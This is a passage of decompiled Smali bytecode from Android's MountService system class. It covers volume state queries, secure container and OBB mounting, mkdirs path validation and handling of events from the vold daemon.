2621 const/4 v10, 0x0 invoke-virtual {v2, v10, v6}, Ljava/util/ArrayList;->add(ILjava/lang/Object;)V goto :goto_1 .line 2628 .end local v2 # "filtered":Ljava/util/ArrayList;, "Ljava/util/ArrayList<Landroid/os/storage/StorageVolume;>;" .end local v3 # "i$":Ljava/util/Iterator; .end local v4 # "owner":Landroid/os/UserHandle; .end local v5 # "ownerMatch":Z .end local v6 # "volume":Landroid/os/storage/StorageVolume; :catchall_0 move-exception v7 monitor-exit v9 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 throw v7 .end local v0 # "accessAll":Z :cond_3 move v0, v8 .line 2610 goto :goto_0 .restart local v0 # "accessAll":Z .restart local v2 # "filtered":Ljava/util/ArrayList;, "Ljava/util/ArrayList<Landroid/os/storage/StorageVolume;>;" .restart local v3 # "i$":Ljava/util/Iterator; .restart local v4 # "owner":Landroid/os/UserHandle; .restart local v6 # "volume":Landroid/os/storage/StorageVolume; :cond_4 move v5, v8 .line 2618 goto :goto_2 .line 2623 .restart local v5 # "ownerMatch":Z :cond_5 :try_start_1 invoke-virtual {v2, v6}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z goto :goto_1 .line 2627 .end local v4 # "owner":Landroid/os/UserHandle; .end local v5 # "ownerMatch":Z .end local v6 # "volume":Landroid/os/storage/StorageVolume; :cond_6 invoke-virtual {v2}, Ljava/util/ArrayList;->size()I move-result v7 new-array v7, v7, [Landroid/os/storage/StorageVolume; invoke-virtual {v2, v7}, Ljava/util/ArrayList;->toArray([Ljava/lang/Object;)[Ljava/lang/Object; move-result-object v7 check-cast v7, [Landroid/os/storage/StorageVolume; monitor-exit v9 :try_end_1 .catchall {:try_start_1 .. :try_end_1} :catchall_0 return-object v7 .end method .method public getVolumeState(Ljava/lang/String;)Ljava/lang/String; .locals 5 .param p1, "mountPoint" # Ljava/lang/String; .prologue .line 1779 iget-object v2, p0, Lcom/android/server/MountService;->mVolumesLock:Ljava/lang/Object; monitor-enter v2 .line 1780 :try_start_0 iget-object v1, p0, Lcom/android/server/MountService;->mVolumeStates:Ljava/util/HashMap; invoke-virtual {v1, p1}, Ljava/util/HashMap;->get(Ljava/lang/Object;)Ljava/lang/Object; move-result-object v0 check-cast v0, Ljava/lang/String; .line 1781 .local v0, "state":Ljava/lang/String; if-nez v0, :cond_0 .line 1782 const-string v1, "MountService" new-instance v3, Ljava/lang/StringBuilder; invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V const-string v4, "getVolumeState(" invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v3 invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v3 const-string v4, "): Unknown volume" invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v3 invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v3 invoke-static {v1, v3}, Landroid/util/Slog;->w(Ljava/lang/String;Ljava/lang/String;)I .line 1783 const-string v1, "vold.encrypt_progress" invoke-static {v1}, Landroid/os/SystemProperties;->get(Ljava/lang/String;)Ljava/lang/String; move-result-object v1 invoke-virtual {v1}, Ljava/lang/String;->length()I move-result v1 if-eqz v1, :cond_1 .line 1784 const-string v0, "removed" .line 1790 :cond_0 monitor-exit v2 return-object v0 .line 1786 :cond_1 new-instance v1, Ljava/lang/IllegalArgumentException; invoke-direct {v1}, Ljava/lang/IllegalArgumentException;-><init>()V throw v1 .line 1791 .end local v0 # "state":Ljava/lang/String; :catchall_0 move-exception v1 monitor-exit v2 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 throw v1 .end method .method public isExternalStorageEmulated()Z .locals 1 .prologue .line 1796 iget-object v0, p0, Lcom/android/server/MountService;->mEmulatedTemplate:Landroid/os/storage/StorageVolume; if-eqz v0, :cond_0 const/4 v0, 0x1 :goto_0 return v0 :cond_0 const/4 v0, 0x0 goto :goto_0 .end method .method public isObbMounted(Ljava/lang/String;)Z .locals 2 .param p1, "rawPath" # Ljava/lang/String; .prologue .line 2204 const-string v0, "rawPath cannot be null" invoke-static {p1, v0}, Lcom/android/internal/util/Preconditions;->checkNotNull(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; .line 2205 iget-object v1, p0, Lcom/android/server/MountService;->mObbMounts:Ljava/util/Map; monitor-enter v1 .line 2206 :try_start_0 iget-object v0, p0, Lcom/android/server/MountService;->mObbPathToStateMap:Ljava/util/Map; invoke-interface {v0, p1}, Ljava/util/Map;->containsKey(Ljava/lang/Object;)Z move-result v0 monitor-exit v1 return v0 .line 2207 :catchall_0 move-exception v0 monitor-exit v1 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 throw v0 .end method .method public isSecureContainerMounted(Ljava/lang/String;)Z .locals 2 .param p1, "id" # Ljava/lang/String; .prologue .line 2073 const-string v0, "android.permission.ASEC_ACCESS" invoke-direct {p0, v0}, Lcom/android/server/MountService;->validatePermission(Ljava/lang/String;)V .line 2074 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 2075 invoke-direct {p0}, Lcom/android/server/MountService;->warnOnNotMounted()V .line 2077 iget-object v1, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; monitor-enter v1 .line 2078 :try_start_0 iget-object v0, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; invoke-virtual {v0, p1}, Ljava/util/HashSet;->contains(Ljava/lang/Object;)Z move-result v0 monitor-exit v1 return v0 .line 2079 :catchall_0 move-exception v0 monitor-exit v1 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 throw v0 .end method .method public isUsbMassStorageConnected()Z .locals 2 .prologue .line 1717 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 1719 invoke-direct {p0}, Lcom/android/server/MountService;->getUmsEnabling()Z move-result v0 if-eqz v0, :cond_0 .line 1720 const/4 v0, 0x1 .line 1723 :goto_0 return v0 .line 1722 :cond_0 iget-object v1, p0, Lcom/android/server/MountService;->mListeners:Ljava/util/ArrayList; monitor-enter v1 .line 1723 :try_start_0 iget-boolean v0, p0, Lcom/android/server/MountService;->mUmsAvailable:Z monitor-exit v1 goto :goto_0 .line 1724 :catchall_0 move-exception v0 monitor-exit v1 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 throw v0 .end method .method public isUsbMassStorageEnabled()Z .locals 3 .prologue .line 1766 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 1767 invoke-direct {p0}, Lcom/android/server/MountService;->getShareableVolumes()Ljava/util/ArrayList; move-result-object v2 invoke-virtual {v2}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator; move-result-object v0 .local v0, "i$":Ljava/util/Iterator; :cond_0 invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z move-result v2 if-eqz v2, :cond_1 invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v1 check-cast v1, Ljava/lang/String; .line 1768 .local v1, "path":Ljava/lang/String; const-string v2, "ums" invoke-direct {p0, v1, v2}, Lcom/android/server/MountService;->doGetVolumeShared(Ljava/lang/String;Ljava/lang/String;)Z move-result v2 if-eqz v2, :cond_0 .line 1769 const/4 v2, 0x1 .line 1772 .end local v1 # "path":Ljava/lang/String; :goto_0 return v2 :cond_1 const/4 v2, 0x0 goto :goto_0 .end method .method public lastMaintenance()J .locals 2 .prologue .line 735 iget-wide v0, p0, Lcom/android/server/MountService;->mLastMaintenance:J return-wide v0 .end method .method public mkdirs(Ljava/lang/String;Ljava/lang/String;)I .locals 11 .param p1, "callingPkg" # Ljava/lang/String; .param p2, "appPath" # Ljava/lang/String; .prologue const/4 v5, 0x0 .line 2514 invoke-static {}, Landroid/os/Binder;->getCallingUid()I move-result v6 invoke-static {v6}, Landroid/os/UserHandle;->getUserId(I)I move-result v3 .line 2515 .local v3, "userId":I new-instance v2, Landroid/os/Environment$UserEnvironment; invoke-direct {v2, v3}, Landroid/os/Environment$UserEnvironment;-><init>(I)V .line 2518 .local v2, "userEnv":Landroid/os/Environment$UserEnvironment; iget-object v6, p0, Lcom/android/server/MountService;->mContext:Landroid/content/Context; const-string v7, "appops" invoke-virtual {v6, v7}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/app/AppOpsManager; .line 2520 .local v0, "appOps":Landroid/app/AppOpsManager; invoke-static {}, Landroid/os/Binder;->getCallingUid()I move-result v6 invoke-virtual {v0, v6, p1}, Landroid/app/AppOpsManager;->checkPackage(ILjava/lang/String;)V .line 2523 :try_start_0 new-instance v6, Ljava/io/File; invoke-direct {v6, p2}, Ljava/io/File;-><init>(Ljava/lang/String;)V invoke-virtual {v6}, Ljava/io/File;->getCanonicalPath()Ljava/lang/String; :try_end_0 .catch Ljava/io/IOException; {:try_start_0 .. :try_end_0} :catch_0 move-result-object p2 .line 2529 const-string v6, "/" invoke-virtual {p2, v6}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z move-result v6 if-nez v6, :cond_0 .line 2530 new-instance v6, Ljava/lang/StringBuilder; invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V invoke-virtual {v6, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v6 const-string v7, "/" invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v6 invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object p2 .line 2535 :cond_0 invoke-virtual {v2, p1}, Landroid/os/Environment$UserEnvironment;->buildExternalStorageAppDataDirs(Ljava/lang/String;)[Ljava/io/File; move-result-object v6 invoke-virtual {v2, p1}, Landroid/os/Environment$UserEnvironment;->buildExternalStorageAppDataDirsForVold(Ljava/lang/String;)[Ljava/io/File; move-result-object v7 invoke-static {p2, v6, v7}, Lcom/android/server/MountService;->maybeTranslatePathForVold(Ljava/lang/String;[Ljava/io/File;[Ljava/io/File;)Ljava/lang/String; move-result-object v4 .line 2538 .local v4, "voldPath":Ljava/lang/String; if-eqz v4, :cond_1 .line 2540 :try_start_1 iget-object v6, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v7, "volume" const/4 v8, 0x2 new-array v8, v8, [Ljava/lang/Object; const/4 v9, 0x0 const-string v10, "mkdirs" aput-object v10, v8, v9 const/4 v9, 0x1 aput-object v4, v8, v9 invoke-virtual {v6, v7, v8}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; :try_end_1 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_1 .. :try_end_1} :catch_1 .line 2567 .end local v4 # "voldPath":Ljava/lang/String; :goto_0 return v5 .line 2524 :catch_0 move-exception v1 .line 2525 .local v1, "e":Ljava/io/IOException; const-string v5, "MountService" new-instance v6, Ljava/lang/StringBuilder; invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V const-string v7, "Failed to resolve " invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v6 invoke-virtual {v6, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v6 const-string v7, ": " invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v6 invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; move-result-object v6 invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v6 invoke-static {v5, v6}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;)I .line 2526 const/4 v5, -0x1 goto :goto_0 .line 2542 .end local v1 # "e":Ljava/io/IOException; .restart local v4 # "voldPath":Ljava/lang/String; :catch_1 move-exception v1 .line 2543 .local v1, "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v1}, Lcom/android/server/NativeDaemonConnectorException;->getCode()I move-result v5 goto :goto_0 .line 2547 .end local v1 # "e":Lcom/android/server/NativeDaemonConnectorException; :cond_1 invoke-virtual {v2, p1}, Landroid/os/Environment$UserEnvironment;->buildExternalStorageAppObbDirs(Ljava/lang/String;)[Ljava/io/File; move-result-object v6 invoke-virtual {v2, p1}, Landroid/os/Environment$UserEnvironment;->buildExternalStorageAppObbDirsForVold(Ljava/lang/String;)[Ljava/io/File; move-result-object v7 invoke-static {p2, v6, v7}, Lcom/android/server/MountService;->maybeTranslatePathForVold(Ljava/lang/String;[Ljava/io/File;[Ljava/io/File;)Ljava/lang/String; move-result-object v4 .line 2550 if-eqz v4, :cond_2 .line 2552 :try_start_2 iget-object v6, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v7, "volume" const/4 v8, 0x2 new-array v8, v8, [Ljava/lang/Object; const/4 v9, 0x0 const-string v10, "mkdirs" aput-object v10, v8, v9 const/4 v9, 0x1 aput-object v4, v8, v9 invoke-virtual {v6, v7, v8}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; :try_end_2 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_2 .. :try_end_2} :catch_2 goto :goto_0 .line 2554 :catch_2 move-exception v1 .line 2555 .restart local v1 # "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v1}, Lcom/android/server/NativeDaemonConnectorException;->getCode()I move-result v5 goto :goto_0 .line 2559 .end local v1 # "e":Lcom/android/server/NativeDaemonConnectorException; :cond_2 invoke-virtual {v2, p1}, Landroid/os/Environment$UserEnvironment;->buildExternalStorageAppMediaDirs(Ljava/lang/String;)[Ljava/io/File; move-result-object v6 invoke-virtual {v2, p1}, Landroid/os/Environment$UserEnvironment;->buildExternalStorageAppMediaDirsForVold(Ljava/lang/String;)[Ljava/io/File; move-result-object v7 invoke-static {p2, v6, v7}, Lcom/android/server/MountService;->maybeTranslatePathForVold(Ljava/lang/String;[Ljava/io/File;[Ljava/io/File;)Ljava/lang/String; move-result-object v4 .line 2562 if-eqz v4, :cond_3 .line 2564 :try_start_3 iget-object v6, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v7, "volume" const/4 v8, 0x2 new-array v8, v8, [Ljava/lang/Object; const/4 v9, 0x0 const-string v10, "mkdirs" aput-object v10, v8, v9 const/4 v9, 0x1 aput-object v4, v8, v9 invoke-virtual {v6, v7, v8}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; :try_end_3 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_3 .. :try_end_3} :catch_3 goto :goto_0 .line 2566 :catch_3 move-exception v1 .line 2567 .restart local v1 # "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v1}, Lcom/android/server/NativeDaemonConnectorException;->getCode()I move-result v5 goto :goto_0 .line 2571 .end local v1 # "e":Lcom/android/server/NativeDaemonConnectorException; :cond_3 new-instance v5, Ljava/lang/SecurityException; new-instance v6, Ljava/lang/StringBuilder; invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V const-string v7, "Invalid mkdirs path: " invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v6 invoke-virtual {v6, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v6 invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v6 invoke-direct {v5, v6}, Ljava/lang/SecurityException;-><init>(Ljava/lang/String;)V throw v5 .end method .method public monitor()V .locals 1 .prologue .line 3204 iget-object v0, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; if-eqz v0, :cond_0 .line 3205 iget-object v0, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; invoke-virtual {v0}, Lcom/android/server/NativeDaemonConnector;->monitor()V .line 3207 :cond_0 return-void .end method .method public mountObb(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/os/storage/IObbActionListener;I)V .locals 8 .param p1, "rawPath" # Ljava/lang/String; .param p2, "canonicalPath" # Ljava/lang/String; .param p3, "key" # Ljava/lang/String; .param p4, "token" # Landroid/os/storage/IObbActionListener; .param p5, "nonce" # I .prologue .line 2213 const-string v1, "rawPath cannot be null" invoke-static {p1, v1}, Lcom/android/internal/util/Preconditions;->checkNotNull(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; .line 2214 const-string v1, "canonicalPath cannot be null" invoke-static {p2, v1}, Lcom/android/internal/util/Preconditions;->checkNotNull(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; .line 2215 const-string v1, "token cannot be null" invoke-static {p4, v1}, Lcom/android/internal/util/Preconditions;->checkNotNull(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; .line 2217 invoke-static {}, Landroid/os/Binder;->getCallingUid()I move-result v4 .line 2218 .local v4, "callingUid":I new-instance v0, Lcom/android/server/MountService$ObbState; move-object v1, p0 move-object v2, p1 move-object v3, p2 move-object v5, p4 move v6, p5 invoke-direct/range {v0 .. v6}, Lcom/android/server/MountService$ObbState;-><init>(Lcom/android/server/MountService;Ljava/lang/String;Ljava/lang/String;ILandroid/os/storage/IObbActionListener;I)V .line 2219 .local v0, "obbState":Lcom/android/server/MountService$ObbState; new-instance v7, Lcom/android/server/MountService$MountObbAction; invoke-direct {v7, p0, v0, p3, v4}, Lcom/android/server/MountService$MountObbAction;-><init>(Lcom/android/server/MountService;Lcom/android/server/MountService$ObbState;Ljava/lang/String;I)V .line 2220 .local v7, "action":Lcom/android/server/MountService$ObbAction; iget-object v1, p0, Lcom/android/server/MountService;->mObbActionHandler:Lcom/android/server/MountService$ObbActionHandler; iget-object v2, p0, Lcom/android/server/MountService;->mObbActionHandler:Lcom/android/server/MountService$ObbActionHandler; const/4 v3, 0x1 invoke-virtual {v2, v3, v7}, Lcom/android/server/MountService$ObbActionHandler;->obtainMessage(ILjava/lang/Object;)Landroid/os/Message; move-result-object v2 invoke-virtual {v1, v2}, Lcom/android/server/MountService$ObbActionHandler;->sendMessage(Landroid/os/Message;)Z .line 2224 return-void .end method .method public mountSecureContainer(Ljava/lang/String;Ljava/lang/String;IZ)I .locals 8 .param p1, "id" # Ljava/lang/String; .param p2, "key" # Ljava/lang/String; .param p3, "ownerUid" # I .param p4, "readOnly" # Z .prologue .line 2000 const-string v3, "android.permission.ASEC_MOUNT_UNMOUNT" invoke-direct {p0, v3}, Lcom/android/server/MountService;->validatePermission(Ljava/lang/String;)V .line 2001 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 2002 invoke-direct {p0}, Lcom/android/server/MountService;->warnOnNotMounted()V .line 2004 iget-object v4, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; monitor-enter v4 .line 2005 :try_start_0 iget-object v3, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; invoke-virtual {v3, p1}, Ljava/util/HashSet;->contains(Ljava/lang/Object;)Z move-result v3 if-eqz v3, :cond_1 .line 2006 const/4 v2, -0x6 monitor-exit v4 .line 2026 :cond_0 :goto_0 return v2 .line 2008 :cond_1 monitor-exit v4 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_1 .line 2010 const/4 v2, 0x0 .line 2012 .local v2, "rc":I :try_start_1 iget-object v4, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v5, "asec" const/4 v3, 0x5 new-array v6, v3, [Ljava/lang/Object; const/4 v3, 0x0 const-string v7, "mount" aput-object v7, v6, v3 const/4 v3, 0x1 aput-object p1, v6, v3 const/4 v3, 0x2 new-instance v7, Lcom/android/server/NativeDaemonConnector$SensitiveArg; invoke-direct {v7, p2}, Lcom/android/server/NativeDaemonConnector$SensitiveArg;-><init>(Ljava/lang/Object;)V aput-object v7, v6, v3 const/4 v3, 0x3 invoke-static {p3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; move-result-object v7 aput-object v7, v6, v3 const/4 v7, 0x4 if-eqz p4, :cond_3 const-string v3, "ro" :goto_1 aput-object v3, v6, v7 invoke-virtual {v4, v5, v6}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; :try_end_1 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_1 .. :try_end_1} :catch_0 .line 2021 :cond_2 :goto_2 if-nez v2, :cond_0 .line 2022 iget-object v4, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; monitor-enter v4 .line 2023 :try_start_2 iget-object v3, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; invoke-virtual {v3, p1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z .line 2024 monitor-exit v4 goto :goto_0 :catchall_0 move-exception v3 monitor-exit v4 :try_end_2 .catchall {:try_start_2 .. :try_end_2} :catchall_0 throw v3 .line 2008 .end local v2 # "rc":I :catchall_1 move-exception v3 :try_start_3 monitor-exit v4 :try_end_3 .catchall {:try_start_3 .. :try_end_3} :catchall_1 throw v3 .line 2012 .restart local v2 # "rc":I :cond_3 :try_start_4 const-string v3, "rw" :try_end_4 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_4 .. :try_end_4} :catch_0 goto :goto_1 .line 2014 :catch_0 move-exception v1 .line 2015 .local v1, "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v1}, Lcom/android/server/NativeDaemonConnectorException;->getCode()I move-result v0 .line 2016 .local v0, "code":I const/16 v3, 0x195 if-eq v0, v3, :cond_2 .line 2017 const/4 v2, -0x1 goto :goto_2 .end method .method public mountVolume(Ljava/lang/String;)I .locals 1 .param p1, "path" # Ljava/lang/String; .prologue .line 1800 const-string v0, "android.permission.MOUNT_UNMOUNT_FILESYSTEMS" invoke-direct {p0, v0}, Lcom/android/server/MountService;->validatePermission(Ljava/lang/String;)V .line 1801 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 1802 invoke-direct {p0, p1}, Lcom/android/server/MountService;->doMountVolume(Ljava/lang/String;)I move-result v0 return v0 .end method .method public onCheckHoldWakeLock(I)Z .locals 1 .param p1, "code" # I .prologue .line 928 const/4 v0, 0x0 return v0 .end method .method public onDaemonConnected()V .locals 2 .prologue .line 827 new-instance v0, Lcom/android/server/MountService$3; const-string v1, "MountService#onDaemonConnected" invoke-direct {v0, p0, v1}, Lcom/android/server/MountService$3;-><init>(Lcom/android/server/MountService;Ljava/lang/String;)V invoke-virtual {v0}, Lcom/android/server/MountService$3;->start()V .line 895 return-void .end method .method public onEvent(ILjava/lang/String;[Ljava/lang/String;)Z .locals 24 .param p1, "code" # I .param p2, "raw" # Ljava/lang/String; .param p3, "cooked" # [Ljava/lang/String; .prologue .line 947 const/16 v19, 0x25d move/from16 v0, p1 move/from16 v1, v19 if-ne v0, v1, :cond_1 .line 953 const/16 v19, 0x2 aget-object v19, p3, v19 const/16 v20, 0x3 aget-object v20, p3, v20 const/16 v21, 0x7 aget-object v21, p3, v21 invoke-static/range {v21 .. v21}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I move-result v21 const/16 v22, 0xa aget-object v22, p3, v22 invoke-static/range {v22 .. v22}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I move-result v22 move-object/from16 v0, p0 move-object/from16 v1, v19 move-object/from16 v2, v20 move/from16 v3, v21 move/from16 v4, v22 invoke-direct {v0, v1, v2, v3, v4}, Lcom/android/server/MountService;->notifyVolumeStateChange(Ljava/lang/String;Ljava/lang/String;II)V .line 1057 :cond_0 :goto_0 const/16 v19, 0x1 :goto_1 return v19 .line 956 :cond_1 const/16 v19, 0x265 move/from16 v0, p1 move/from16 v1, v19 if-ne v0, v1, :cond_3 .line 958 const/16 v19, 0x2 aget-object v13, p3, v19 .line 959 .local v13, "path":Ljava/lang/String; move-object/from16 v0, p3 array-length v0, v0 move/from16 v19, v0 const/16 v20, 0x3 move/from16 v0, v19 move/from16 v1, v20 if-le v0, v1, :cond_2 const/16 v19, 0x3 aget-object v16, p3, v19 .line 961 .local v16, "uuid":Ljava/lang/String; :goto_2 move-object/from16 v0, p0 iget-object v0, v0, Lcom/android/server/MountService;->mVolumesByPath:Ljava/util/HashMap; move-object/from16 v19, v0 move-object/from16 v0, v19 invoke-virtual {v0, v13}, Ljava/util/HashMap;->get(Ljava/lang/Object;)Ljava/lang/Object; move-result-object v17 check-cast v17, Landroid/os/storage/StorageVolume; .line 962 .local v17, "vol":Landroid/os/storage/StorageVolume; if-eqz v17, :cond_0 .line 963 move-object/from16 v0, v17 move-object/from16 v1, v16 invoke-virtual {v0, v1}, Landroid/os/storage/StorageVolume;->setUuid(Ljava/lang/String;)V goto :goto_0 .line 959 .end local v16 # "uuid":Ljava/lang/String; .end local v17 # "vol":Landroid/os/storage/StorageVolume; :cond_2 const/16 v16, 0x0 goto :goto_2 .line 966 .end local v13 # "path":Ljava/lang/String; :cond_3 const/16 v19, 0x266 move/from16 v0, p1 move/from16 v1, v19 if-ne v0, v1, :cond_5 .line 968 const/16 v19, 0x2 aget-object v13, p3, v19 .line 969 .restart local v13 # "path":Ljava/lang/String; move-object/from16 v0, p3 array-length v0, v0 move/from16 v19, v0 const/16 v20, 0x3 move/from16 v0, v19 move/from16 v1, v20 if-le v0, v1, :cond_4 const/16 v19, 0x3 aget-object v15, p3, v19 .line 971 .local v15, "userLabel":Ljava/lang/String; :goto_3 move-object/from16 v0, p0 iget-object v0, v0, Lcom/android/server/MountService;->mVolumesByPath:Ljava/util/HashMap; move-object/from16 v19, v0 move-object/from16 v0, v19 invoke-virtual {v0, v13}, Ljava/util/HashMap;->get(Ljava/lang/Object;)Ljava/lang/Object; move-result-object v17 check-cast v17, Landroid/os/storage/StorageVolume; .line 972 .restart local v17 # "vol":Landroid/os/storage/StorageVolume; if-eqz v17, :cond_0 .line 973 move-object/from16 v0, v17 invoke-virtual {v0, v15}, Landroid/os/storage/StorageVolume;->setUserLabel(Ljava/lang/String;)V goto :goto_0 .line 969 .end local v15 # "userLabel":Ljava/lang/String; .end local v17 # "vol":Landroid/os/storage/StorageVolume; :cond_4 const/4 v15, 0x0 goto :goto_3 .line 976 .end local v13 # "path":Ljava/lang/String; :cond_5 const/16 v19, 0x276 move/from16 v0, p1 move/from16 v1, v19 if-eq v0, v1, :cond_6 const/16 v19, 0x277 move/from16 v0, p1 move/from16 v1, v19 if-eq v0, v1, :cond_6 const/16 v19, 0x278 move/from16 v0, p1 move/from16 v1, v19 if-ne v0, v1, :cond_e .line 982 :cond_6 const/4 v6, 0x0 .line 983 .local v6, "action":Ljava/lang/String; const/16 v19, 0x2 aget-object v10, p3, v19 .line 984 .local v10, "label":Ljava/lang/String; const/16 v19, 0x3 aget-object v13, p3, v19 .line 985 .restart local v13 # "path":Ljava/lang/String; const/4 v11, -0x1 .line 986 .local v11, "major":I const/4 v12, -0x1 .line 989 .local v12, "minor":I const/16 v19, 0x6 :try_start_0 aget-object v19, p3, v19 const/16 v20, 0x1 const/16 v21, 0x6 aget-object v21, p3, v21 invoke-virtual/range {v21 .. v21}, Ljava/lang/String;->length()I move-result v21 add-int/lit8 v21, v21, -0x1 invoke-virtual/range {v19 .. v21}, Ljava/lang/String;->substring(II)Ljava/lang/String; move-result-object v7 .line 990 .local v7, "devComp":Ljava/lang/String; const-string v19, ":" move-object/from16 v0, v19 invoke-virtual {v7, v0}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String; move-result-object v8 .line 991 .local v8, "devTok":[Ljava/lang/String; const/16 v19, 0x0 aget-object v19, v8, v19 invoke-static/range {v19 .. v19}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I move-result v11 .line 992 const/16 v19, 0x1 aget-object v19, v8, v19 invoke-static/range {v19 .. v19}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I :try_end_0 .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0 move-result v12 .line 999 .end local v7 # "devComp":Ljava/lang/String; .end local v8 # "devTok":[Ljava/lang/String; :goto_4 move-object/from16 v0, p0 iget-object v0, v0, Lcom/android/server/MountService;->mVolumesLock:Ljava/lang/Object; move-object/from16 v20, v0 monitor-enter v20 .line 1000 :try_start_1 move-object/from16 v0, p0 iget-object v0, v0, Lcom/android/server/MountService;->mVolumesByPath:Ljava/util/HashMap; move-object/from16 v19, v0 move-object/from16 v0, v19 invoke-virtual {v0, v13}, Ljava/util/HashMap;->get(Ljava/lang/Object;)Ljava/lang/Object; move-result-object v18 check-cast v18, Landroid/os/storage/StorageVolume; .line 1001 .local v18, "volume":Landroid/os/storage/StorageVolume; move-object/from16 v0, p0 iget-object v0, v0, Lcom/android/server/MountService;->mVolumeStates:Ljava/util/HashMap; move-object/from16 v19, v0 move-object/from16 v0, v19 invoke-virtual {v0, v13}, Ljava/util/HashMap;->get(Ljava/lang/Object;)Ljava/lang/Object; move-result-object v14 check-cast v14, Ljava/lang/String; .line 1002 .local v14, "state":Ljava/lang/String; monitor-exit v20 